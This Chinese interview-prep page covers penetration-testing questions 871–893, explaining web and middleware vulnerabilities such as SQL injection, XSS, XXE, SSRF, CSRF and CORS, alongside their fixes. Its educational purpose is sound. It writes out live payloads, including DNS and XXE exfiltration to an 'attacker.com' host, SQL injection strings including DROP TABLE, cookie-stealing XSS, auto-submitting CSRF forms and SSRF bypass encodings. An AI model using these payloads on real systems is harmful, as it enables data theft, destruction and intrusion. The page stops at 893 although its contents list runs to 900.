云计算百科
云计算领域专业知识百科平台

2026年渗透测试面试题总结-30(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

871. Java反序列化的原理

872. 谈谈自己常用的中间件漏洞

873. Windows和Linux的日志文件放在哪里

Windows日志位置:

Linux日志位置:

874. 谈谈OOB

1. 应用场景:

2. 常用协议:

3. 技术实现:

4. 检测工具:

875. 谈谈IDR

1. IDR组成部分:

2. 检测技术:

3. 响应流程:

4. 工具生态:

876. SQL注入种类

1. 联合查询注入(Union-Based)

2. 报错注入(Error-Based)

3. 布尔盲注(Boolean-Based Blind)

4. 时间盲注(Time-Based Blind)

5. 堆叠查询(Stacked Queries)

6. 二次注入(Second-Order)

7. 宽字节注入

8. 其他类型:

877. SQL注入修复

1. 参数化查询(预编译)

2. 存储过程

3. 输入验证

4. 输出编码

5. 最小权限原则

6. 其他措施:

7. 防御层次:

878. 预编译原理

1. 传统SQL执行流程(不安全):

2. 预编译执行流程:

3. 技术原理:

4. 不同语言的实现:

5. 预编译的局限性:

6. 不是预编译的情况:

879. XSS原理

1. 基本概念:

2. 攻击原理图:

3. 危害:

4. 攻击示例:

880. XSS种类

1. 反射型XSS(Reflected XSS)

2. 存储型XSS(Stored XSS)

3. DOM型XSS(DOM-based XSS)

4. 其他分类:

881. XSS区别

对比表格:

技术细节区别:

882. XSS修复

1. 输入过滤(Input Validation)

2. 输出编码(Output Encoding)

3. 内容安全策略(CSP)

4. 其他防护措施:

5. 安全编码实践:

6. 测试验证:

883. XXE漏洞原理

1. 基本概念:

2. XML基础知识:

3. 攻击原理:

4. 攻击示例:

884. XXE漏洞修复

1. 禁用外部实体

2. 使用安全解析器

3. 输入过滤

4. 白名单验证

5. 升级库版本

885. 服务器端请求伪造(SSRF)漏洞原理

1. 基本概念:

2. 攻击场景:

3. 常见触发点:

4. 危害:

886. 服务器端请求伪造(SSRF)漏洞种类

1. 基本SSRF

2. 绕过限制的SSRF

3. Blind SSRF

887. 服务器端请求伪造(SSRF)漏洞修复

1. 白名单校验

2. 禁用危险协议

3. 限制访问范围

4. 使用URL解析库

5. 网络层防护

888. 跨站点请求伪造(CSRF)漏洞原理

1. 基本概念:

2. 攻击原理:

3. 必要条件:

889. 跨站点请求伪造(CSRF)漏洞种类

1. GET型CSRF

2. POST型CSRF

3. 其他类型

890. 跨站点请求伪造(CSRF)漏洞修复

1. CSRF Token

2. SameSite Cookie

3. 双重Cookie验证

4. Referer验证

5. 关键操作确认

891. 跨域资源共享(CORS)漏洞原理

1. 同源策略(SOP)

2. CORS机制

3. 漏洞原理

892. 跨域资源共享(CORS)漏洞种类

1. 反射Origin

2. 前缀/后缀匹配

3. 空Origin

4. 协议不匹配

893. 跨域资源共享(CORS)漏洞区别

与JSONP的区别:

与CSRF的关系:

894. 跨域资源共享(CORS)漏洞修复

1. 正确配置ACAO

2. 避免危险组合

3. 严格校验Origin

4. 限制方法/头部

895. 远程执行代码(RCE)漏洞原理

1. 基本概念:

2. 常见入口:

3. 攻击链:

896. 远程执行代码(RCE)漏洞修复

1. 输入验证

2. 避免危险函数

3. 最小权限运行

4. 沙箱隔离

897. 越权漏洞(IDOR)漏洞原理

1. 基本概念:

2. 示例:

3. 根本原因:

898. 越权漏洞(IDOR)漏洞种类

1. 水平越权

2. 垂直越权

3. 上下文相关越权

899. 越权漏洞(IDOR)漏洞区别

水平vs垂直越权:

与未授权访问的区别:

900. 越权漏洞(IDOR)漏洞修复

1. 权限验证

2. 间接引用映射

3. 使用随机标识符

4. 访问控制列表(ACL)

871Java?反序列化的原理
872谈谈自己常用的中间件漏洞
873Windows和Linux的日志文件放在哪里
874谈谈OOB
875谈谈IDR
876SQL注入种类
877SQL注入修复
878预编译原理
879XSS原理
880XSS种类
881XSS区别
882XSS修复
883XXE漏洞原理
884XXE漏洞修复
885服务器端请求伪造(SSRF)漏洞原理
886服务器端请求伪造(SSRF)漏洞种类
887服务器端请求伪造(SSRF)漏洞修复
888跨站点请求伪造(CSRF)漏洞原理
889跨站点请求伪造(CSRF)漏洞种类
890跨站点请求伪造(CSRF)漏洞修复
891跨域资源共享(CORS)漏洞原理
892跨域资源共享(CORS)漏洞种类
893跨域资源共享(CORS)漏洞区别
894跨域资源共享(CORS)漏洞修复
895远程执行代码(RCE)漏洞原理
896远程执行代码(RCE)漏洞修复
897越权漏洞(IDOR)漏洞原理
898越权漏洞(IDOR)漏洞种类
899越权漏洞(IDOR)漏洞区别
900越权漏洞(IDOR)漏洞修复

871. Java反序列化的原理

详细分析: Java反序列化漏洞的本质是将不可信的字节流反序列化成Java对象时,自动执行了危险的操作链。其核心技术原理包括:

  • 序列化机制:
    • Java通过ObjectOutputStream.writeObject()将对象序列化为字节流
    • 通过ObjectInputStream.readObject()将字节流反序列化为对象
    • 序列化后的数据包含类名、字段值等信息
  • 魔法方法调用:
    • readObject():反序列化时自动调用,可重写
    • readResolve():反序列化后调用的方法
    • finalize():垃圾回收前调用
    • 攻击者可通过构造恶意类,在这些方法中植入恶意代码
  • Gadget Chains(利用链):
    • 从源点(如readObject)到汇点(如Runtime.exec())的一系列调用
    • 常见链:Apache Commons Collections、Fastjson、Jackson等库的利用链
    • 示例:InvokerTransformer -> ChainedTransformer -> TransformedMap -> …
  • 漏洞触发条件:
    • 应用接受外部序列化数据
    • 类路径中存在可利用的gadget类
    • 反序列化过程中不进行安全校验
  • 872. 谈谈自己常用的中间件漏洞

    详细分析:

    中间件常见漏洞利用方式
    Apache 1. 解析漏洞(.php.jpg) 2. 目录遍历 3. CVE-2017-15715(换行符) 上传特殊文件名,目录遍历读取文件
    Nginx 1. 解析漏洞(/test.jpg/test.php) 2. 目录遍历 3. CVE-2013-4547 利用错误配置,URL编码绕过
    IIS 1. 解析漏洞(asp;.jpg) 2. 短文件名泄露 3. CVE-2017-7269 上传特殊扩展名,爆破短文件名
    Tomcat 1. 弱口令后台部署war 2. CVE-2017-12615(PUT上传) 3. CVE-2020-1938(AJP文件读取) 爆破后台,PUT上传jsp,AJP协议读取文件
    WebLogic 1. 反序列化(T3/IIOP) 2. SSRF(uddiexplorer) 3. 权限绕过(CVE-2020-14882) 发送恶意序列化数据,构造特殊URL
    JBoss 1. JMXInvokerServlet未授权 2. 反序列化漏洞 直接访问jmx-console,上传恶意序列化数据

    个人经验分享:

    • 通常先通过端口扫描识别中间件类型和版本
    • 对照漏洞库匹配已知漏洞
    • 使用验证工具(如nmap脚本、专用exp)验证
    • 关注配置错误(如默认口令、调试接口暴露)

    873. Windows和Linux的日志文件放在哪里

    详细分析:

    Windows日志位置:

    日志类型默认位置查看工具
    系统事件日志 C:\\Windows\\System32\\winevt\\Logs\\ • Application.evtx • Security.evtx • System.evtx Event Viewer wevtutil
    IIS日志 C:\\inetpub\\logs\\LogFiles\\ 文本编辑器 Log Parser
    防火墙日志 C:\\Windows\\System32\\LogFiles\\Firewall\\ 文本编辑器
    PowerShell日志 注册表配置,默认不开启 Get-WinEvent
    RDP日志 Security日志中的Event ID 4624/4625 Event Viewer过滤
    Webshell日志 各Web应用目录下的log文件夹 根据应用而定

    Linux日志位置:

    日志类型默认位置查看命令
    系统日志 /var/log/messages 或 /var/log/syslog cat, tail -f, less
    认证日志 /var/log/secure (RHEL/CentOS) /var/log/auth.log (Debian/Ubuntu) grep "Failed password"
    登录记录 /var/log/wtmp(成功登录) /var/log/btmp(失败登录) last, lastb
    Web服务器 Apache: /var/log/httpd/access_log Nginx: /var/log/nginx/access.log tail -f, awk分析
    数据库日志 MySQL: /var/log/mysql/error.log PostgreSQL: /var/log/postgresql/ 查看相应文件
    命令历史 ~/.bash_history ~/.zsh_history history, cat .bash_history

    874. 谈谈OOB

    详细分析:

    OOB(Out-of-Band,带外通信)是一种利用漏洞的方式,特别适用于以下场景:

    1. 应用场景:

    • 盲注类漏洞:SQL盲注、XPath盲注、XXE盲注
    • 无回显漏洞:命令执行无回显、SSRF无回显
    • 网络隔离环境:目标无法直接访问攻击者服务器

    2. 常用协议:

    协议优点缺点工具
    DNS 大多数环境允许DNS出站 可穿透部分防火墙 响应慢 数据量小 dnslog.cn, ceye.io Burp Collaborator
    HTTP/HTTPS 数据量大 可传输文件 可能被拦截 ngrok, Burp Collaborator 自建服务器
    ICMP 隐蔽性好 需要root权限 数据量小 ptunnel, icmpsh
    SMB 可获取Net-NTLM哈希 445端口常被限制 Responder

    3. 技术实现:

    DNS OOB示例(SQL盲注):

    Sql

    复制

    — MySQL SELECT LOAD_FILE(CONCAT('\\\\\\\\',(SELECT DATABASE()),'.attacker.com\\\\test')) — 将查询结果作为子域名发送到DNS服务器

    HTTP OOB示例(XXE盲注):

    Xml

    复制

    <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %send;

    4. 检测工具:

    • Burp Collaborator:集成在Burp Suite中
    • DNSlog平台:提供临时子域名供检测
    • Interact.sh:开源OOB平台

    875. 谈谈IDR

    详细分析:

    IDR通常指入侵检测与响应(Intrusion Detection and Response),是安全运营中心(SOC)的核心功能:

    1. IDR组成部分:

    组件功能技术实现
    数据收集 收集日志、流量、终端数据 SIEM, Log Collector, EDR Agent
    威胁检测 识别攻击行为 规则引擎, 机器学习, 异常检测
    告警分析 关联分析,减少误报 关联规则, 上下文分析
    响应处置 隔离、阻断、修复 SOAR, 自动化脚本
    溯源取证 分析攻击路径 时间线分析, 证据链保全

    2. 检测技术:

    基于签名的检测:

    • 已知攻击特征匹配
    • 优点:准确率高,速度快
    • 缺点:无法检测0day,需要持续更新

    基于异常的检测:

    • 建立正常行为基线
    • 检测偏离基线的行为
    • 优点:可检测未知威胁
    • 缺点:误报率高,需调优

    基于行为的检测:

    • 分析攻击链行为
    • 如MITRE ATT&CK框架
    • 优点:检测高级威胁
    • 缺点:实现复杂

    3. 响应流程:

    检测告警 → 研判分析 → 威胁确认 → 应急响应 → 溯源取证 → 修复加固

    4. 工具生态:

    • SIEM:Splunk, QRadar, ArcSight
    • EDR:CrowdStrike, SentinelOne, Carbon Black
    • SOAR:Splunk Phantom, IBM Resilient
    • 开源方案:ELK Stack, Wazuh, Security Onion

    876. SQL注入种类

    详细分析:

    1. 联合查询注入(Union-Based)

    原理:利用UNION合并查询结果

    Sql

    复制

    ' UNION SELECT username, password FROM users–

    特点:

    • 需要列数相同
    • 数据类型兼容
    • 通常有回显位置

    2. 报错注入(Error-Based)

    原理:利用数据库错误信息泄露数据

    Sql

    复制

    ' AND extractvalue(1, concat(0x7e, (SELECT @@version)))–

    常见函数:

    • MySQL: extractvalue(), updatexml(), floor()
    • MSSQL: convert(), cast()
    • Oracle: ctxsys.drithsx.sn()

    3. 布尔盲注(Boolean-Based Blind)

    原理:根据页面真假状态推断数据

    Sql

    复制

    ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'–

    判断方式:

    • 页面内容变化
    • HTTP状态码
    • 响应时间细微差别

    4. 时间盲注(Time-Based Blind)

    原理:通过延时函数判断条件真假

    Sql

    复制

    ' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)–

    延时函数:

    • MySQL: SLEEP(), BENCHMARK()
    • MSSQL: WAITFOR DELAY
    • PostgreSQL: pg_sleep()

    5. 堆叠查询(Stacked Queries)

    原理:执行多条SQL语句

    Sql

    复制

    '; DROP TABLE users; —

    支持数据库:

    • MSSQL、PostgreSQL支持
    • MySQL需特定配置(默认不支持)

    6. 二次注入(Second-Order)

    原理:

  • 首次插入恶意数据(被转义)
  • 后续查询中使用该数据(已转义还原)
  • 触发注入
  • Sql

    复制

    — 注册用户时:admin'– — 修改密码时:UPDATE users SET password='new' WHERE username='admin'–'

    7. 宽字节注入

    原理:利用编码转换(如GBK)绕过转义

    %df%27 → 转义为%df%5c%27 → GBK解码为"運'"

    场景:PHP+MySQL,GBK编码

    8. 其他类型:

    • Cookie注入:注入点在Cookie中
    • User-Agent注入:注入点在HTTP头部
    • XFF注入:注入点在X-Forwarded-For
    • JSON注入:注入点在JSON参数
    • SOAP注入:注入点在SOAP请求

    877. SQL注入修复

    详细分析:

    1. 参数化查询(预编译)

    最佳实践:

    Java

    复制

    // Java示例 String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, username); ResultSet rs = stmt.executeQuery();

    支持情况:

    • 所有主流语言和框架都支持
    • 是首选的防御方案

    2. 存储过程

    使用注意:

    Sql

    复制

    — 正确使用:参数化调用 CREATE PROCEDURE GetUser (@username NVARCHAR(50)) AS BEGIN SELECT * FROM users WHERE username = @username END — 错误使用:动态拼接(仍有风险) CREATE PROCEDURE UnsafeGetUser (@username NVARCHAR(50)) AS BEGIN DECLARE @sql NVARCHAR(200) SET @sql = 'SELECT * FROM users WHERE username = ''' + @username + '''' EXEC(@sql) END

    3. 输入验证

    白名单验证:

    Python

    复制

    # Python示例:只允许字母数字 import re if not re.match("^[a-zA-Z0-9]+$", username): raise ValueError("Invalid username")

    类型检查:

    Php

    复制

    // PHP示例:ID应为整数 $id = intval($_GET['id']); if ($id <= 0) { die("Invalid ID"); }

    4. 输出编码

    防御二次注入:

    Javascript

    复制

    // 入库前编码 function encodeForSQL(input) { return input.replace(/'/g, "''"); } // 但这不是主要防御,应结合参数化查询

    5. 最小权限原则

    数据库用户权限:

    Sql

    复制

    — 创建只读用户 CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT ON appdb.* TO 'webapp'@'localhost'; — 创建最小权限用户 CREATE USER 'webapp_write'@'localhost' IDENTIFIED BY 'password'; GRANT INSERT, UPDATE ON appdb.orders TO 'webapp_write'@'localhost';

    6. 其他措施:

    措施说明局限性
    WAF Web应用防火墙,规则过滤 可能被绕过,需持续更新
    安全框架 使用ORM(如Hibernate) 配置不当仍有风险
    错误处理 自定义错误页面 避免信息泄露,不防御注入
    安全开发 安全编码培训,代码审计 预防为主

    7. 防御层次:

    输入验证 → 参数化查询 → 输出编码 → 权限控制 → 监控审计

    878. 预编译原理

    详细分析:

    1. 传统SQL执行流程(不安全):

    1. 拼接SQL:`"SELECT * FROM users WHERE name='" + name + "'"`
    2. 发送到数据库
    3. 数据库解析SQL语法
    4. 编译执行计划
    5. 执行查询
    6. 返回结果

    问题:数据与指令混合,可能改变SQL结构

    2. 预编译执行流程:

    1. 准备SQL模板:`"SELECT * FROM users WHERE name = ?"`
    2. 发送模板到数据库
    3. 数据库解析语法,编译执行计划,缓存
    4. 发送参数值(纯数据)
    5. 数据库使用缓存的计划执行
    6. 返回结果

    3. 技术原理:

    参数占位符:

    • ?:位置参数(大部分数据库)
    • :name:命名参数(某些数据库)

    计划缓存:

    Sql

    复制

    — 第一次执行(编译+缓存) PREPARE stmt FROM 'SELECT * FROM users WHERE id = ?'; SET @id = 1; EXECUTE stmt USING @id; — 后续执行(使用缓存) SET @id = 2; EXECUTE stmt USING @id; — 复用执行计划

    类型安全:

    Java

    复制

    // Java:类型检查在编译时 stmt.setInt(1, id); // 必须是整数 stmt.setString(2, name); // 必须是字符串 // 数据库会进行类型转换或报错

    4. 不同语言的实现:

    Java(JDBC):

    Java

    复制

    // 正确使用 String sql = "INSERT INTO users (name, age) VALUES (?, ?)"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, name); pstmt.setInt(2, age); // 错误使用(仍有风险) String sql = "INSERT INTO users (name, age) VALUES ('" + name + "', " + age + ")"; // 这是拼接,不是预编译!

    Python(pymysql):

    Python

    复制

    # 正确使用 cursor.execute("SELECT * FROM users WHERE name = %s", (name,)) # 注意:%s是占位符,不是字符串格式化 # 错误使用 cursor.execute("SELECT * FROM users WHERE name = '%s'" % name)

    PHP(PDO):

    Php

    复制

    // 正确使用 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = :name"); $stmt->execute([':name' => $name]); // 错误使用 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = '$name'"); // 仍然是拼接!

    5. 预编译的局限性:

    场景问题解决方案
    表名/列名动态 占位符不能用于表名 白名单校验
    IN子句动态参数 占位符数量需固定 构建动态占位符
    ORDER BY动态 不能参数化排序字段 白名单校验

    6. 不是预编译的情况:

    • 字符串拼接再prepare
    • 某些ORM的"原生查询"功能
    • 存储过程中的动态SQL

    879. XSS原理

    详细分析:

    1. 基本概念:

    XSS(Cross-Site Scripting)允许攻击者将恶意脚本注入到其他用户浏览的网页中。当受害者访问包含恶意脚本的页面时,脚本会在其浏览器中执行。

    2. 攻击原理图:

    攻击者构造恶意输入 → 应用未过滤存储/反射 → 受害者访问页面 → 浏览器执行恶意脚本 → 窃取信息/劫持会话

    3. 危害:

    • 窃取Cookie、Session
    • 键盘记录
    • 钓鱼攻击
    • 内网探测
    • 结合CSRF攻击
    • 蠕虫传播

    4. 攻击示例:

    Html

    复制

    <!– 反射型XSS –> http://victim.com/search?q=<script>alert(1)</script> <!– 存储型XSS –> 评论内容:<img src=x onerror=stealCookie()> <!– DOM型XSS –> location.hash被eval执行

    880. XSS种类

    详细分析:

    1. 反射型XSS(Reflected XSS)

    特点:

    • 恶意脚本来自当前HTTP请求
    • 非持久化,需要诱骗用户点击
    • 通常出现在搜索、错误页面

    攻击流程:

  • 攻击者构造恶意URL
  • 诱骗用户点击
  • 服务器返回包含恶意脚本的页面
  • 用户浏览器执行脚本
  • 2. 存储型XSS(Stored XSS)

    特点:

    • 恶意脚本存储在服务器(数据库)
    • 持久化,所有访问者都可能受影响
    • 常见于论坛、评论、留言板

    攻击流程:

  • 攻击者提交恶意内容
  • 服务器存储到数据库
  • 其他用户访问页面
  • 服务器返回包含恶意脚本的页面
  • 用户浏览器执行脚本
  • 3. DOM型XSS(DOM-based XSS)

    特点:

    • 不经过服务器,纯客户端漏洞
    • 恶意脚本通过修改DOM执行
    • 难以检测(服务器日志无记录)

    攻击流程:

  • 攻击者构造恶意URL(含片段标识符)
  • 诱骗用户点击
  • 客户端JavaScript处理URL
  • 修改DOM,执行恶意脚本
  • 4. 其他分类:

    基于注入位置:

    • HTML内容:<div>用户输入</div>
    • HTML属性:<input value="用户输入">
    • JavaScript代码:<script>var x = "用户输入";</script>
    • CSS样式:<style>body { background: url(用户输入); }</style>
    • URL参数:<a href="用户输入">链接</a>

    基于持久性:

    • 持久型(存储型)
    • 非持久型(反射型、DOM型)

    881. XSS区别

    详细分析:

    对比表格:

    特征反射型XSS存储型XSSDOM型XSS
    持久性 非持久 持久 非持久
    触发方式 用户点击恶意链接 访问正常页面 用户点击恶意链接
    数据存储 不存储 存储在服务器 不存储
    影响范围 单个用户 所有访问用户 单个用户
    检测难度 较易(服务器日志) 较易(服务器日志) 困难(客户端)
    修复难度 较易 较易 较难
    常见场景 搜索、错误页面 论坛、评论、留言板 单页应用、客户端路由

    技术细节区别:

    1. 数据流差异:

    • 反射型:浏览器 → 服务器 → 浏览器
    • 存储型:浏览器 → 服务器 → 数据库 → 服务器 → 浏览器
    • DOM型:浏览器 → JavaScript → DOM → 浏览器

    2. 利用难度:

    • 反射型:需要社工,URL可能过长
    • 存储型:一次注入,长期有效
    • DOM型:依赖客户端代码,可能绕过服务器防护

    3. 防御重点:

    • 反射/存储型:服务器端输入输出过滤
    • DOM型:客户端JavaScript安全编码

    882. XSS修复

    详细分析:

    1. 输入过滤(Input Validation)

    原则:根据上下文使用不同的过滤策略

    HTML内容过滤:

    Php

    复制

    // PHP:htmlspecialchars(默认编码双引号) $safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); // 将 < > & " ' 转换为实体

    HTML属性过滤:

    Javascript

    复制

    // JavaScript:只允许安全字符 function sanitizeAttribute(value) { return value.replace(/[^a-zA-Z0-9\\-_]/g, ''); }

    URL过滤:

    Python

    复制

    # Python:验证URL格式 import urllib.parse def sanitize_url(url): parsed = urllib.parse.urlparse(url) if parsed.scheme not in ['http', 'https', '']: raise ValueError('Invalid scheme') return url

    2. 输出编码(Output Encoding)

    上下文相关编码:

    上下文编码方式示例
    HTML文本 HTML实体编码 < → &lt;
    HTML属性 HTML实体编码+引号 " → &quot;
    JavaScript Unicode转义 " → \\u0022
    CSS 十六进制转义 " → \\22
    URL参数 URL编码  → %20

    框架自动编码:

    • React:默认转义所有变量
    • Vue:{{ }}自动转义,v-html需手动处理
    • Angular:默认安全

    3. 内容安全策略(CSP)

    配置示例:

    Http

    复制

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src *; report-uri /csp-report;

    指令说明:

    • default-src:默认加载策略
    • script-src:控制JavaScript执行
    • style-src:控制CSS加载
    • report-uri:违规报告地址

    4. 其他防护措施:

    HttpOnly Cookie:

    Http

    复制

    Set-Cookie: sessionid=abc123; HttpOnly; Secure

    • 阻止JavaScript访问Cookie
    • 减轻会话劫持风险

    X-XSS-Protection(已弃用,但仍有兼容性):

    Http

    复制

    X-XSS-Protection: 1; mode=block

    输入长度限制:

    Html

    复制

    <input maxlength="100">

    • 增加攻击难度
    • 不能作为主要防御

    5. 安全编码实践:

    避免危险函数:

    Javascript

    复制

    // 危险 document.write(userInput); element.innerHTML = userInput; eval(userInput); // 安全 element.textContent = userInput; element.setAttribute('data-value', userInput);

    使用安全API:

    Javascript

    复制

    // Vue示例 <template> <!– 安全:自动转义 –> <div>{{ userContent }}</div> <!– 危险:需要手动处理 –> <div v-html="sanitizedContent"></div> </template>

    6. 测试验证:

    • 自动化扫描:Burp Suite, ZAP, Acunetix
    • 手动测试:尝试各种payload
    • Code Review:检查输入输出点

    883. XXE漏洞原理

    详细分析:

    1. 基本概念:

    XXE(XML External Entity)攻击利用XML解析器的外部实体加载功能,读取本地文件、发起SSRF攻击等。

    2. XML基础知识:

    Xml

    复制

    <!– 内部实体 –> <!ENTITY entityname "value"> <!– 外部实体 –> <!ENTITY entityname SYSTEM "URI"> <!– 参数实体(DTD内部使用) –> <!ENTITY % entityname "value">

    3. 攻击原理:

    用户提交恶意XML → 解析器加载外部实体 → 读取文件/发起请求 → 返回敏感信息

    4. 攻击示例:

    Xml

    复制

    <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>

    884. XXE漏洞修复

    详细分析:

    1. 禁用外部实体

    Java:

    Java

    复制

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

    Python(lxml):

    Python

    复制

    from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) tree = etree.parse(xml_string, parser)

    PHP:

    Php

    复制

    libxml_disable_entity_loader(true);

    2. 使用安全解析器

    Java:

    Java

    复制

    // 使用SAX解析器 SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 或使用安全配置 XMLInputFactory xif = XMLInputFactory.newInstance(); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

    3. 输入过滤

    Java

    复制

    // 过滤DOCTYPE声明 if (xml.contains("<!DOCTYPE") || xml.contains("<!ENTITY")) { throw new Exception("XXE attack detected"); }

    4. 白名单验证

    Python

    复制

    # 只允许特定的XML结构 allowed_tags = {'root', 'name', 'age'} def validate_xml(xml_string): # 检查是否包含危险标签 # …

    5. 升级库版本

    • 使用最新版本的XML解析库
    • 及时应用安全补丁

    885. 服务器端请求伪造(SSRF)漏洞原理

    详细分析:

    1. 基本概念:

    SSRF(Server-Side Request Forgery)让攻击者能够诱使服务器向任意地址发起请求,从而攻击内网服务或读取本地文件。

    2. 攻击场景:

    攻击者 → 请求服务器 → 服务器请求内网资源 → 返回结果给攻击者

    3. 常见触发点:

    • URL参数:图片加载、文件导入、API代理
    • 文件处理:PDF生成、文档转换
    • Webhook:回调URL验证
    • 邮件处理:加载远程图片

    4. 危害:

    • 内网探测
    • 读取本地文件(file://)
    • 攻击内网服务(Redis, MySQL)
    • 绕过认证(127.0.0.1访问)

    886. 服务器端请求伪造(SSRF)漏洞种类

    详细分析:

    1. 基本SSRF

    特点:直接请求任意URL

    Http

    复制

    GET /proxy?url=http://attacker.com HTTP/1.1

    2. 绕过限制的SSRF

    技术手段:

    绕过方式示例原理
    IP地址格式 127.0.0.1 → 2130706433 十进制IP
    八进制IP 127.0.0.1 → 0177.0.0.1 八进制表示
    十六进制IP 127.0.0.1 → 0x7f.0x0.0x0.0x1 十六进制
    域名重定向 http://redirect.com → 内网IP 302跳转
    DNS重绑定 域名TTL为0,多次解析不同IP DNS缓存过期
    特殊域名 localhost.attacker.com 子域名解析
    URL编码 http://127.0.0.1 → http://%31%32%37%2E%30%2E%30%2E%31 多重编码

    3. Blind SSRF

    特点:无回显,通过其他方式判断

    • 时间延迟
    • DNS请求
    • 错误信息差异

    887. 服务器端请求伪造(SSRF)漏洞修复

    详细分析:

    1. 白名单校验

    Python

    复制

    ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'] def validate_url(url): parsed = urlparse(url) if parsed.hostname not in ALLOWED_DOMAINS: raise ValueError("Domain not allowed") # 验证协议 if parsed.scheme not in ['http', 'https']: raise ValueError("Protocol not allowed")

    2. 禁用危险协议

    Java

    复制

    // 只允许HTTP/HTTPS String url = request.getParameter("url"); if (!url.startsWith("http://") && !url.startsWith("https://")) { throw new SecurityException("Invalid protocol"); }

    3. 限制访问范围

    Nginx

    复制

    # Nginx代理限制 location /proxy { proxy_pass http://backend; # 只允许访问公网 proxy_set_header Host $host; resolver 8.8.8.8; # 禁止私有IP if ($host ~ ^(10\\.|172\\.(1[6-9]|2[0-9]|3[0-1])\\.|192\\.168\\.)) { return 403; } }

    4. 使用URL解析库

    Python

    复制

    import socket from urllib.parse import urlparse def is_internal(url): hostname = urlparse(url).hostname try: ip = socket.gethostbyname(hostname) # 检查私有IP if ip.startswith('10.') or \\ ip.startswith('172.16.') or \\ ip.startswith('192.168.'): return True except: pass return False

    5. 网络层防护

    • 防火墙限制服务器出站连接
    • 独立网络隔离后端服务
    • 使用跳板机访问内网

    888. 跨站点请求伪造(CSRF)漏洞原理

    详细分析:

    1. 基本概念:

    CSRF(Cross-Site Request Forgery)利用用户已登录的身份,在用户不知情的情况下执行非预期操作。

    2. 攻击原理:

    用户登录银行网站 → Cookie保存 → 访问恶意网站 → 恶意网站发起转账请求 → 浏览器自动携带Cookie → 银行执行转账

    3. 必要条件:

    • 用户已登录目标网站
    • 目标网站没有CSRF防护
    • 攻击者知道请求参数格式
    • 用户访问恶意页面

    889. 跨站点请求伪造(CSRF)漏洞种类

    详细分析:

    1. GET型CSRF

    特点:通过img、script等标签发起GET请求

    Html

    复制

    <img src="http://bank.com/transfer?to=attacker&amount=1000">

    2. POST型CSRF

    特点:通过form表单提交

    Html

    复制

    <form action="http://bank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="1000"> </form> <script>document.forms[0].submit();</script>

    3. 其他类型

    • JSON CSRF:通过form+JSON提交
    • Flash CSRF:利用Flash发起请求
    • 文件上传CSRF:诱使用户上传恶意文件

    890. 跨站点请求伪造(CSRF)漏洞修复

    详细分析:

    1. CSRF Token

    原理:每个表单包含随机Token,服务器验证

    Html

    复制

    <!– 表单中 –> <input type="hidden" name="csrf_token" value="随机字符串"> <!– Cookie中 –> Set-Cookie: csrf_token=随机字符串; SameSite=Strict

    实现:

    Python

    复制

    # Flask示例 from flask_wtf.csrf import CSRFProtect csrf = CSRFProtect(app) # 模板中 <form method="post"> <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"> </form>

    2. SameSite Cookie

    设置:

    Http

    复制

    Set-Cookie: sessionid=abc123; SameSite=Strict; Secure

    • Strict:完全禁止跨站携带
    • Lax:允许部分安全请求(如导航)
    • None:允许跨站(需配合Secure)

    3. 双重Cookie验证

    原理:Cookie中的值作为参数提交

    Javascript

    复制

    // 前端读取Cookie function getCookie(name) { // …读取Cookie } // 请求时添加参数 fetch('/api/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': getCookie('csrf_token') }, body: JSON.stringify(data) });

    4. Referer验证

    Python

    复制

    def check_referer(request): referer = request.headers.get('Referer') if not referer or not referer.startswith('https://example.com'): return False return True

    5. 关键操作确认

    • 重新输入密码
    • 短信验证码
    • 二次确认对话框

    891. 跨域资源共享(CORS)漏洞原理

    详细分析:

    1. 同源策略(SOP)

    定义:协议、域名、端口相同 限制:不同源的脚本不能访问对方DOM、Cookie等

    2. CORS机制

    目的:安全地允许跨域请求 流程:

  • 浏览器发送预检请求(OPTIONS)
  • 服务器返回允许的域、方法、头部
  • 浏览器发送实际请求
  • 3. 漏洞原理

    配置错误:

    Http

    复制

    Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true

    • 允许任意域访问
    • 允许携带凭证(Cookie)
    • 组合使用导致信息泄露

    892. 跨域资源共享(CORS)漏洞种类

    详细分析:

    1. 反射Origin

    漏洞:直接将请求的Origin反射到响应头

    Http

    复制

    请求: Origin: https://evil.com 响应: Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true

    2. 前缀/后缀匹配

    漏洞:不严格的域名检查

    允许:*.example.com
    攻击:evilexample.com

    3. 空Origin

    漏洞:允许null Origin

    Http

    复制

    Access-Control-Allow-Origin: null

    4. 协议不匹配

    漏洞:HTTP和HTTPS混用

    893. 跨域资源共享(CORS)漏洞区别

    详细分析:

    与JSONP的区别:

    特性CORSJSONP
    安全性 可控,需服务器配置 不安全,任意网站可调用
    方法支持 支持所有HTTP方法 仅GET
    错误处理 有错误状态码 难以错误处理
